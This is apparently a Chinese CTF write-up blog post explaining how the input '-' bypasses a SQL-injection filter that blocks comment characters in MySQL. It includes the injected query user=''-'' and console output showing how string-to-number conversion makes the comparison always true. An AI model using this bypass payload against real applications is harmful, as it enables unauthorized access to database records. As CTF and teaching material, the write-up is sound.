mysql中有趣的'-'

Posted by sp4rk on April 20, 2017

今天在做ctf的时候碰到一个有趣的点: 题目链接 在测试的时候发现其中过滤了’– a’和#注释符

无意间输入’-‘,没想到直接就bypass了。 本地测试了下 正常的语句:

mysql> select * from users where user=’test’; +———+——+———————————-+ | user_id | user | password | +———+——+———————————-+ | 1 | test | 1f903e58cd22b9d807a791d897daafb6 | +———+——+———————————-+ 1 row in set (0.00 sec) ‘-‘测试,可以发现能注入,有两个warning mysql> select * from users where user=’’-‘’; +———+——+———————————-+ | user_id | user | password | +———+——+———————————-+ | 1 | test | 1f903e58cd22b9d807a791d897daafb6 | +———+——+———————————-+ 1 row in set, 2 warnings (0.00 sec) mysql> show warnings; +———+——+——————————————+ | Level | Code | Message | +———+——+——————————————+ | Warning | 1292 | Truncated incorrect DOUBLE value: ‘test’ | | Warning | 1292 | Truncated incorrect DOUBLE value: ‘test’ | +———+——+——————————————+ 2 rows in set (0.00 sec) 显示截断了错误的DOUBLE值,我们具体看一下 mysql> select ‘’-‘’; +——-+ | ‘’-‘’ | +——-+ | 0 | +——-+ 1 row in set (0.00 sec) mysql> select ‘1’-‘1’; +———+ | ‘1’-‘1’ | +———+ | 0 | +———+ 1 row in set (0.00 sec) mysql> select ‘1’-‘a’; +———+ | ‘1’-‘a’ | +———+ | 1 | +———+ 1 row in set, 1 warning (0.00 sec) 可以发现当有’‘和字母的时候,在mysql中参与运算是取0。’-‘造成注入是因为每一次查询中上面数据库中的test值会与0作比较,test就会转换成0与其匹配成功造成注入。(其他运算符也可以)